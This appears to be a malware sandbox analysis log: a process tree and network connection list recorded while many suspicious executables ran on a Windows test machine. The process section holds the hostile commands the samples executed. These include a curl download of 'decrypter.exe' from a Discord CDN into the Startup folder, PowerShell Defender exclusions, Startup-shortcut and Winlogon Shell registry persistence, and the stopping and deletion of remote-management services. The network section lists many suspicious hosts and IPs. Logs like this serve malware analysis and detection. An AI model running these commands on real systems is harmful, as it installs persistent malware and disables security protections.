"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\e4rlx782.cmdline"

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8C20.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC8C1F.tmp"

C:\Users\Admin\Desktop\a\mk.exe

"C:\Users\Admin\Desktop\a\mk.exe"

C:\Users\Admin\Desktop\a\crypted2.exe

"C:\Users\Admin\Desktop\a\crypted2.exe"

C:\Users\Admin\Desktop\a\crypted2.exe

"C:\Users\Admin\Desktop\a\crypted2.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 2488 -ip 2488

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2488 -s 160

C:\Users\Admin\Desktop\a\random.exe

"C:\Users\Admin\Desktop\a\random.exe"

C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe

"C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command "$ws = New-Object -ComObject WScript.Shell; $s = $ws.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mczz.lnk'); $s.TargetPath = 'C:\Users\Admin\Desktop\a\mk.exe'; $s.Save()"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c start cmd /C "ping localhost -n 1 && start C:\Users\Admin\AppData\Local\enters.exe"

C:\Windows\system32\cmd.exe

cmd /C "ping localhost -n 1 && start C:\Users\Admin\AppData\Local\enters.exe"

C:\Windows\system32\PING.EXE

ping localhost -n 1

C:\Users\Admin\AppData\Local\enters.exe

C:\Users\Admin\AppData\Local\enters.exe

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe"

C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe

"C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe"

C:\Users\Admin\Desktop\a\babababa.exe

"C:\Users\Admin\Desktop\a\babababa.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Temp\decrypted_executable.exe"

C:\Users\Admin\AppData\Local\Temp\decrypted_executable.exe

C:\Users\Admin\AppData\Local\Temp\decrypted_executable.exe

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\A2B0.tmp\A2B1.tmp\A2B2.bat C:\Users\Admin\AppData\Local\Temp\decrypted_executable.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -w hidden -c Add-MpPreference -ExclusionPath ""

C:\Windows\system32\curl.exe

curl --silent --output "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DataStore1.exe" "https://cdn.discordapp.com/attachments/1167169926193229925/1306213355966435360/decrypter.exe?ex=6735d97c&is=673487fc&hm=3f582970dc363d475b432b390a941fae5b9a6a3f9388809e2d818b6f1c1f06ff&"

C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe

"C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe"

C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe

"C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe" restart

C:\Windows\SysWOW64\cmd.exe

cmd.exe /c ver

C:\Users\Admin\Desktop\a\tacticalagent-v2.8.0-windows-amd64.exe

"C:\Users\Admin\Desktop\a\tacticalagent-v2.8.0-windows-amd64.exe"

C:\Users\Admin\AppData\Local\Temp\is-30R2S.tmp\tacticalagent-v2.8.0-windows-amd64.tmp

"C:\Users\Admin\AppData\Local\Temp\is-30R2S.tmp\tacticalagent-v2.8.0-windows-amd64.tmp" /SL5="$7031E,3652845,825344,C:\Users\Admin\Desktop\a\tacticalagent-v2.8.0-windows-amd64.exe"

C:\Windows\SysWOW64\cmd.exe

"cmd.exe" /c ping 127.0.0.1 -n 2 && net stop tacticalrpc

C:\Windows\SysWOW64\PING.EXE

ping 127.0.0.1 -n 2

C:\Windows\SysWOW64\net.exe

net stop tacticalrpc

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 stop tacticalrpc

C:\Windows\SysWOW64\cmd.exe

"cmd.exe" /c net stop tacticalagent

C:\Windows\SysWOW64\net.exe

net stop tacticalagent

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 stop tacticalagent

C:\Windows\SysWOW64\cmd.exe

"cmd.exe" /c ping 127.0.0.1 -n 2 && net stop tacticalrmm

C:\Windows\SysWOW64\PING.EXE

ping 127.0.0.1 -n 2

C:\Windows\SysWOW64\net.exe

net stop tacticalrmm

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 stop tacticalrmm

C:\Windows\SysWOW64\cmd.exe

"cmd.exe" /c taskkill /F /IM tacticalrmm.exe

C:\Windows\SysWOW64\taskkill.exe

taskkill /F /IM tacticalrmm.exe

C:\Windows\SysWOW64\cmd.exe

"cmd.exe" /c sc delete tacticalagent

C:\Windows\SysWOW64\sc.exe

sc delete tacticalagent

C:\Windows\SysWOW64\cmd.exe

"cmd.exe" /c sc delete tacticalrpc

C:\Windows\SysWOW64\sc.exe

sc delete tacticalrpc

C:\Users\Admin\Desktop\a\shttpsr_mg.exe

"C:\Users\Admin\Desktop\a\shttpsr_mg.exe"

C:\Users\Admin\Desktop\a\UNICO-Venta3401005.exe

"C:\Users\Admin\Desktop\a\UNICO-Venta3401005.exe"

C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe

"C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Archivos de programa\UNICO - Ventas\ODBC.cmd" "

C:\Users\Admin\Desktop\a\Autoupdate.exe

"C:\Users\Admin\Desktop\a\Autoupdate.exe"

C:\Users\Admin\AppData\Roaming\icsys.ico.exe

C:\Users\Admin\AppData\Roaming\icsys.ico.exe

C:\Users\Admin\Desktop\a\SecurityHealthService.exe

"C:\Users\Admin\Desktop\a\SecurityHealthService.exe"

C:\Windows\SysWOW64\cmd.exe

"cmd" /c ping 127.0.0.1 -n 6 > nul && REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "C:\Windows\explorer.exe, c:\windows\wininit.exe,C:\Users\Admin\Music\Windows Security Health Host.exe,"

C:\Windows\SysWOW64\PING.EXE

ping 127.0.0.1 -n 6

C:\Windows\SysWOW64\cmd.exe

"cmd" /c ping 127.0.0.1 -n 12 > nul && copy "C:\Users\Admin\Desktop\a\SecurityHealthService.exe" "C:\Users\Admin\Music\Windows Security Health Host.exe" && ping 127.0.0.1 -n 12 > nul && "C:\Users\Admin\Music\Windows Security Health Host.exe"

C:\Windows\SysWOW64\PING.EXE

ping 127.0.0.1 -n 12

C:\Windows\SysWOW64\reg.exe

REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "C:\Windows\explorer.exe, c:\windows\wininit.exe,C:\Users\Admin\Music\Windows Security Health Host.exe,"

C:\Users\Admin\Desktop\a\Geek_se.exe

"C:\Users\Admin\Desktop\a\Geek_se.exe"

C:\Users\Admin\Desktop\a\GOLD.exe

"C:\Users\Admin\Desktop\a\GOLD.exe"

C:\Users\Admin\Desktop\a\OLDxTEAM.exe

"C:\Users\Admin\Desktop\a\OLDxTEAM.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 244 -ip 244

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 7644 -ip 7644

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 244 -s 784

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 7644 -s 784

C:\Users\Admin\Desktop\a\ZharkBOT.exe

"C:\Users\Admin\Desktop\a\ZharkBOT.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 25440 -ip 25440

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 25440 -s 440

C:\Windows\SysWOW64\PING.EXE

ping 127.0.0.1 -n 12

C:\Users\Admin\Desktop\a\svchot.exe

"C:\Users\Admin\Desktop\a\svchot.exe"

C:\Windows\SysWOW64\Gwogw.exe

C:\Windows\SysWOW64\Gwogw.exe -auto

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\Desktop\a\svchot.exe > nul

C:\Windows\SysWOW64\Gwogw.exe

C:\Windows\SysWOW64\Gwogw.exe -acsi

C:\Windows\SysWOW64\PING.EXE

ping -n 2 127.0.0.1

C:\Users\Admin\Desktop\a\svcyr.exe

"C:\Users\Admin\Desktop\a\svcyr.exe"

C:\Windows\tcrbyc.exe

C:\Windows\tcrbyc.exe

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe

C:\Users\Admin\Music\Windows Security Health Host.exe

"C:\Users\Admin\Music\Windows Security Health Host.exe"

C:\Users\Admin\Music\Windows Security Health Host.exe

"C:\Users\Admin\Music\Windows Security Health Host.exe"

C:\Users\Admin\Desktop\a\svchot.exe

"C:\Users\Admin\Desktop\a\svchot.exe"

C:\Windows\SysWOW64\Gwogw.exe

C:\Windows\SysWOW64\Gwogw.exe -auto

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\Desktop\a\svchot.exe > nul

C:\Windows\SysWOW64\Gwogw.exe

C:\Windows\SysWOW64\Gwogw.exe -acsi

C:\Windows\SysWOW64\PING.EXE

ping -n 2 127.0.0.1

C:\Users\Admin\Desktop\a\svcyr.exe

"C:\Users\Admin\Desktop\a\svcyr.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 83.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 72.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
US 8.8.8.8:53 197.87.175.4.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 133.130.81.91.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 74.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 urlhaus.abuse.ch udp
US 151.101.130.49:443 urlhaus.abuse.ch tcp
RU 31.41.244.11:80 31.41.244.11 tcp
US 8.8.8.8:53 49.130.101.151.in-addr.arpa udp
US 8.8.8.8:53 11.244.41.31.in-addr.arpa udp
US 8.8.8.8:53 29.243.111.52.in-addr.arpa udp
US 8.8.8.8:53 urlhaus.abuse.ch udp
US 151.101.130.49:443 urlhaus.abuse.ch tcp
RU 31.41.244.11:80 31.41.244.11 tcp
US 8.8.8.8:53 mininews.kpzip.com udp
CN 110.249.196.56:80 mininews.kpzip.com tcp
US 8.8.8.8:53 www.bkzj.wang udp
HK 47.243.125.164:80 www.bkzj.wang tcp
CN 119.167.229.190:80 mininews.kpzip.com tcp
US 8.8.8.8:53 164.125.243.47.in-addr.arpa udp
US 8.8.8.8:53 wz.3911.com udp
CN 120.26.3.86:80 wz.3911.com tcp
US 8.8.8.8:53 18.173.189.20.in-addr.arpa udp
CN 112.84.131.62:80 mininews.kpzip.com tcp
US 8.8.8.8:53 dcwblida.dz udp
DZ 41.111.143.136:443 dcwblida.dz tcp
US 8.8.8.8:53 136.143.111.41.in-addr.arpa udp
CN 116.162.169.61:80 mininews.kpzip.com tcp
RU 176.113.115.203:80 176.113.115.203 tcp
US 8.8.8.8:53 203.115.113.176.in-addr.arpa udp
CN 42.177.83.116:80 mininews.kpzip.com tcp
KR 27.102.130.160:801 27.102.130.160 tcp
US 8.8.8.8:53 160.130.102.27.in-addr.arpa udp
CN 113.201.158.118:80 mininews.kpzip.com tcp
KR 27.102.130.160:801 27.102.130.160 tcp
JP 64.176.38.237:443 tcp
KR 27.102.130.160:801 27.102.130.160 tcp
JP 64.176.38.237:8139 tcp
KR 27.102.130.160:801 27.102.130.160 tcp
JP 64.176.38.237:443 tcp
US 8.8.8.8:53 store6.gofile.io udp
FR 31.14.70.249:443 store6.gofile.io tcp
US 8.8.8.8:53 file-eu-par-1.gofile.io udp
FR 202.165.69.5:443 file-eu-par-1.gofile.io tcp
US 8.8.8.8:53 249.70.14.31.in-addr.arpa udp
US 8.8.8.8:53 5.69.165.202.in-addr.arpa udp
DE 87.120.84.39:80 87.120.84.39 tcp
US 8.8.8.8:53 t.kks8.xyz udp
KR 27.102.118.246:80 t.kks8.xyz tcp
US 8.8.8.8:53 39.84.120.87.in-addr.arpa udp
US 8.8.8.8:53 246.118.102.27.in-addr.arpa udp
KR 27.102.130.176:8443 tcp
US 8.8.8.8:53 files.catbox.moe udp
US 108.181.20.35:443 files.catbox.moe tcp
US 8.8.8.8:53 cdn.download.pdfforge.org udp
NL 188.240.13.6:443 cdn.download.pdfforge.org tcp
US 8.8.8.8:53 35.20.181.108.in-addr.arpa udp
US 8.8.8.8:53 6.13.240.188.in-addr.arpa udp
RU 31.41.244.11:80 31.41.244.11 tcp
US 8.8.8.8:53 flow.lavasoft.com udp
US 104.16.149.130:80 flow.lavasoft.com tcp
US 104.16.149.130:80 flow.lavasoft.com tcp
US 104.16.149.130:80 flow.lavasoft.com tcp
US 8.8.8.8:53 130.149.16.104.in-addr.arpa udp
US 104.16.149.130:80 flow.lavasoft.com tcp
US 8.8.8.8:53 www.google.com udp
US 8.8.8.8:53 flow.lavasoft.com udp
US 104.16.149.130:443 flow.lavasoft.com tcp
US 8.8.8.8:53 sos.adaware.com udp
US 104.16.212.94:443 sos.adaware.com tcp
US 8.8.8.8:53 94.212.16.104.in-addr.arpa udp
CN 120.26.3.86:80 wz.3911.com tcp
US 104.16.212.94:443 sos.adaware.com tcp
US 8.8.8.8:53 checkip.dyndns.org udp
DE 193.122.6.168:80 checkip.dyndns.org tcp
US 8.8.8.8:53 reallyfreegeoip.org udp
US 104.21.67.152:443 reallyfreegeoip.org tcp
US 8.8.8.8:53 168.6.122.193.in-addr.arpa udp
US 8.8.8.8:53 152.67.21.104.in-addr.arpa udp
US 8.8.8.8:53 api.telegram.org udp
NL 149.154.167.220:443 api.telegram.org tcp
US 8.8.8.8:53 220.167.154.149.in-addr.arpa udp
RU 31.41.244.11:80 31.41.244.11 tcp
GB 89.197.154.116:80 89.197.154.116 tcp
US 8.8.8.8:53 116.154.197.89.in-addr.arpa udp
GB 89.197.154.116:7810 tcp
BG 87.120.125.254:80 87.120.125.254 tcp
US 8.8.8.8:53 frogmen-smell.sbs udp
US 104.21.80.55:443 frogmen-smell.sbs tcp
US 8.8.8.8:53 thicktoys.sbs udp
US 8.8.8.8:53 fleez-inc.sbs udp
US 8.8.8.8:53 pull-trucker.sbs udp
US 8.8.8.8:53 3xc1aimbl0w.sbs udp
US 8.8.8.8:53 bored-light.sbs udp
US 8.8.8.8:53 300snails.sbs udp
US 8.8.8.8:53 faintbl0w.sbs udp
US 8.8.8.8:53 254.125.120.87.in-addr.arpa udp
US 8.8.8.8:53 55.80.21.104.in-addr.arpa udp
US 8.8.8.8:53 crib-endanger.sbs udp
US 8.8.8.8:53 steamcommunity.com udp
GB 2.22.99.85:443 steamcommunity.com tcp
GB 89.197.154.116:7810 tcp
US 8.8.8.8:53 marshal-zhukov.com udp
US 172.67.160.80:443 marshal-zhukov.com tcp
US 8.8.8.8:53 85.99.22.2.in-addr.arpa udp
US 8.8.8.8:53 80.160.67.172.in-addr.arpa udp
GB 89.197.154.116:7810 tcp
KR 27.102.130.176:8443 tcp
GB 89.197.154.116:7810 tcp
RU 185.215.113.16:80 185.215.113.16 tcp
US 8.8.8.8:53 16.113.215.185.in-addr.arpa udp
US 8.8.8.8:53 c0al1t1onmatch.cyou udp
US 172.67.187.204:443 c0al1t1onmatch.cyou tcp
US 8.8.8.8:53 thicktoys.sbs udp
US 8.8.8.8:53 fleez-inc.sbs udp
US 8.8.8.8:53 pull-trucker.sbs udp
US 8.8.8.8:53 3xc1aimbl0w.sbs udp
US 8.8.8.8:53 bored-light.sbs udp
US 8.8.8.8:53 300snails.sbs udp
US 8.8.8.8:53 faintbl0w.sbs udp
US 8.8.8.8:53 crib-endanger.sbs udp
GB 2.22.99.85:443 steamcommunity.com tcp
US 8.8.8.8:53 204.187.67.172.in-addr.arpa udp
US 172.67.160.80:443 marshal-zhukov.com tcp
GB 89.197.154.116:7810 tcp
DE 87.120.84.39:80 87.120.84.39 tcp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
DE 147.45.47.61:8888 tcp
CN 123.60.59.48:80 tcp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
GB 89.197.154.116:7810 tcp
GB 89.197.154.116:7810 tcp
GB 89.197.154.116:7810 tcp
BG 87.120.125.16:9891 tcp
US 8.8.8.8:53 16.125.120.87.in-addr.arpa udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
HK 83.229.127.65:8088 83.229.127.65 tcp
DE 147.45.47.61:8888 tcp
DE 193.122.6.168:80 checkip.dyndns.org tcp
US 104.21.67.152:443 reallyfreegeoip.org tcp
NL 149.154.167.220:443 api.telegram.org tcp
US 8.8.8.8:53 65.127.229.83.in-addr.arpa udp
GB 89.197.154.116:7810 tcp
GB 89.197.154.116:7810 tcp
GB 89.197.154.116:7810 tcp
GB 89.197.154.116:7810 tcp
KR 27.102.130.176:8443 tcp
CN 101.43.83.106:80 tcp
SE 45.155.250.90:53 bvkeiij.com udp
US 8.8.8.8:53 90.250.155.45.in-addr.arpa udp
US 185.208.158.202:80 bvkeiij.com tcp
NL 89.105.201.183:2023 tcp
US 8.8.8.8:53 202.158.208.185.in-addr.arpa udp
US 8.8.8.8:53 183.201.105.89.in-addr.arpa udp
CN 123.60.59.48:80 tcp
US 8.8.8.8:53 cdn.discordapp.com udp
US 162.159.133.233:443 cdn.discordapp.com tcp
US 8.8.8.8:53 c.pki.goog udp
GB 216.58.201.99:80 c.pki.goog tcp
US 8.8.8.8:53 233.133.159.162.in-addr.arpa udp
US 8.8.8.8:53 99.201.58.216.in-addr.arpa udp
US 8.8.8.8:53 github.com udp
GB 20.26.156.215:443 github.com tcp
US 8.8.8.8:53 objects.githubusercontent.com udp
US 185.199.110.133:443 objects.githubusercontent.com tcp
US 8.8.8.8:53 215.156.26.20.in-addr.arpa udp
US 8.8.8.8:53 133.110.199.185.in-addr.arpa udp
US 8.8.8.8:53 www.flechabusretiro.com.ar udp
AR 200.105.67.246:80 www.flechabusretiro.com.ar tcp
US 8.8.8.8:53 246.67.105.200.in-addr.arpa udp
CN 101.43.83.106:80 tcp
US 8.8.8.8:53 ns.smallsrv.com udp
RU 46.17.104.173:80 ns.smallsrv.com tcp
US 8.8.8.8:53 d.kpzip.com udp
GB 89.197.154.116:7810 tcp
US 8.8.8.8:53 173.104.17.46.in-addr.arpa udp
CN 36.250.242.248:80 d.kpzip.com tcp
US 185.208.158.202:80 bvkeiij.com tcp
NL 89.105.201.183:2023 tcp
US 8.8.8.8:53 klfs.synology.me udp
CN 120.41.20.41:9096 klfs.synology.me tcp
CN 36.250.242.248:80 d.kpzip.com tcp
US 8.8.8.8:53 kiemthehuyenlong.com udp
VN 103.163.214.66:80 kiemthehuyenlong.com tcp
US 8.8.8.8:53 66.214.163.103.in-addr.arpa udp
CN 120.41.20.41:9096 klfs.synology.me tcp
CN 110.40.51.56:5700 tcp
GB 89.197.154.116:7810 tcp
US 185.208.158.202:80 bvkeiij.com tcp
US 8.8.8.8:53 download.haozip.com udp
CN 61.170.81.212:80 download.haozip.com tcp
US 8.8.8.8:53 goodlabel.cn udp
CN 119.45.229.215:80 goodlabel.cn tcp
US 8.8.8.8:53 tcp
CN 61.170.81.223:80 download.haozip.com tcp
TH 103.230.121.82:80 103.230.121.82 tcp
US 8.8.8.8:53 82.121.230.103.in-addr.arpa udp
SG 47.236.122.191:80 47.236.122.191 tcp
NL 81.19.137.119:443 tcp
US 8.8.8.8:53 191.122.236.47.in-addr.arpa udp
US 8.8.8.8:53 119.137.19.81.in-addr.arpa udp
NL 194.26.192.76:8080 194.26.192.76 tcp
US 8.8.8.8:53 76.192.26.194.in-addr.arpa udp
PL 185.241.208.156:80 185.241.208.156 tcp
US 8.8.8.8:53 156.208.241.185.in-addr.arpa udp
CN 61.170.81.213:80 download.haozip.com tcp
SG 47.236.122.191:7900 tcp
HK 154.201.87.30:8888 154.201.87.30 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
RU 46.226.244.0:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
RU 109.237.99.184:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
RU 109.237.99.184:443 tcp
GB 46.226.163.244:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
FR 109.120.179.50:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
FR 109.120.179.50:443 tcp
US 8.8.8.8:53 244.163.226.46.in-addr.arpa udp
US 8.8.8.8:53 30.87.201.154.in-addr.arpa udp
GB 46.226.163.244:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
RU 109.237.99.184:443 tcp
GB 46.226.163.244:443 tcp
RU 109.237.99.184:443 tcp
GB 46.226.163.244:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
GB 46.226.163.244:443 tcp
FR 109.120.179.50:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
GB 46.226.163.244:443 tcp
FR 109.120.179.50:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 89.197.154.116:7810 tcp
HK 154.201.87.30:8888 154.201.87.30 tcp
US 8.8.8.8:53 facai7777777.ydns.eu udp
HK 202.181.25.108:8089 facai7777777.ydns.eu tcp
US 185.208.158.202:80 bvkeiij.com tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
CN 114.132.167.179:8080 tcp
US 8.8.8.8:53 souhu.ydns.eu udp
HK 202.181.25.108:16681 souhu.ydns.eu tcp
US 8.8.8.8:53 v8.ter.tf udp
US 199.59.243.227:8081 v8.ter.tf tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
RU 46.226.244.0:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
RU 109.237.99.184:443 tcp
RU 109.237.99.184:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
FR 109.120.179.50:443 tcp
N/A 224.0.0.251:5353 udp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
CN 61.170.81.226:80 download.haozip.com tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
GB 46.226.163.244:443 tcp
